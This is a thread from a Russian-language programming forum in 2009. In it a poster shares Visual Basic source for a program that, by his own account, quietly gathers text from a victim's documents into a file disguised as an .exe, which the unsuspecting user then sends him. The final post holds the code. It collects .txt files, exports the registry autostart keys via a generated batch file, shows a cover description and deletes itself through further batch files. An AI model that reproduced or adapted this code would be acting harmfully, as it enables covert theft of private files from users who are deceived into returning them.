Страница: 1 | 2 |
|
Вопрос: Записать в себя же
|
Добавлено: 13.01.09 14:35
|
|
Номер ответа: 16 Автор ответа: Alex
Вопросов: 10 Ответов: 131
|
Профиль | | #16
|
Добавлено: 14.01.09 15:58
|
Прошу Вас поподробнее по поводу "хвоста".
exe тоже можно открыть в программе (но как текст) а далее программа добавляет в этот "текст" тот текст который нужно стащить.
Но есть несколько "Странностей"
1 этот способ хорош если exe небольшого размера.
я уже интересовалсяа exe каких размеров?
Если он большой, то программа будет долго обрабатываться...
2 Я отредактировал exe блокнотом, и он стал "битым" потом откомпилировал заново и отредактировал c помощью npp (notepad++) и сохранил, и файл остался целым!
Ответить
|
Номер ответа: 19 Автор ответа: Imperial Kashak
ICQ: 479713821
Вопросов: 10 Ответов: 57
|
Профиль | | #19
|
Добавлено: 15.01.09 22:25
|
Тогда можно и как батник записать. Хотя нет... Спалюсь ))
Последние три поста - благодарю... Я не подумал, почему-то, чтобы отредактить текст самой программы. А запускать её запретить под страхом обрушения винды (да пусть запускает, в принципе - его пошлют, куда надо)
Сам принцип проги такой: берёт тексты из нескольких документов, копирует в файлик либо в себя, закрывает по очереди это всё дело. Никого не трогаем, никому вреда не наносим. Просто коммуниздим несколько текстов малого объёма во что-то одно, а это "одно" юзверь по наивняку шлёт мне.
Затем я это у себя открываю и уаля! Туалетное чтиво готово! )
Так. Значит добавилось пунктов:
1. Записать просто в файлик с расширением *.sys (reg, pf... до лампочки)
2. Записать в себя, только потом клеить текст в прогу без компиляции (одноразовый запуск)
3. Стать хакером за пару дней, чтобы спереть трояном через проксю... (бугаг!)
Я напишу да протестирую первые два варианта у себя. Отпишусь потом об эффекте, а там может, если не будет стыдно, выложу код на вашу критику.
Ответить
|
Номер ответа: 22 Автор ответа: Imperial Kashak
ICQ: 479713821
Вопросов: 10 Ответов: 57
|
Профиль | | #22
|
Добавлено: 21.01.09 18:45
|
Написал я это безобразие... Господа! Пришло время раскрыть карты! Открываю то, ради чего я всё писал!
- Dim F, n As Single
- Dim File1, FileText, FilePath1 As String
-
-
- Private Sub Command1_Click()
- FilePath1 = "C:\**********\**********"
- File1 = Dir(FilePath1 & "\*.txt", 0)
- If File1 <> "" Then Pro1
- End Sub
-
- Private Sub Form_Load()
- On Error Resume Next
- FileCopy "C:\Reg_pick\reg.exe", "C:\Windows\reg.exe"
- Kill "C:\Reg_pick\reg.exe"
- Text1.Text = "This program can make a 'photo' of your registry boot-parameters and kill any parameters from registry"
- Text1.Text = Text1.Text & vbCrLf & "WARNING! This is a virus code-modification so some options was disabled."
- End Sub
-
- Private Sub Pro1()
- On Error Resume Next
- BatchRecord
- Do While File1 <> ""
- List1.AddItem (File1)
- File1 = Dir
- Loop
- F = FreeFile
- n = 0
- Do While n <> List1.ListCount
- Open "C:\**********\**********" & List1.List(n) For Input As #F
- Do Until EOF(F)
- FileText = Input(LOF(F), #F)
- Loop
- Close #F
- Open "C:\Reg_pick\_picked!.exe" For Append As #F
- Print #F, FileText
- Print #F, "=====================================Р А З Р Ы В====================================="
- Close #F
- n = n + 1
- Loop
- If Dir("C:\Reg_pick\_picked!.exe") <> "" Then
- n = MsgBox("Successfully Done!", vbOKOnly & vbExclamation, "Done!")
- Unload Form1
- Else
- n = MsgBox("Done With Errors!", vbOKOnly & vbCritical, "Done!")
- End If
- End Sub
-
- Private Sub Form_Unload(Cancel As Integer)
- On Error Resume Next
- Shell ("C:\print-to-regfile.bat")
- Shell ("C:\SelfDel.bat")
- End Sub
-
- Private Sub BatchRecord()
- F = FreeFile
- Open "C:\print-to-regfile.bat" For Output As #F
- Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKLM-Run.reg"
- Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run- C:\Reg_pick\HKLM-Run-.reg"
- Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce C:\Reg_pick\HKLM-RunOnce.reg"
- Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce- C:\Reg_pick\HKLM-RunOnce-.reg"
- Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-Run.reg"
- Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-Run-.reg"
- Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-RunOnce.reg"
- Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-RunOnce-.reg"
- Print #F, "del %0"
- Close #F
- Open "C:\SelfDel.bat" For Output As #F
- Print #F, "del C:\Reg_pick\pick.exe" & " del %0"
- Close #F
- End Sub
Некоторым сей код покажется дилетантским, но я пока программист-любитель... Учусь дальше. Никто же не может узнать сразу и всё. ))
Главное - РАБОТАЕТ! Что скажете?
Ответить
|
Страница: 1 | 2 |
Поиск по форуму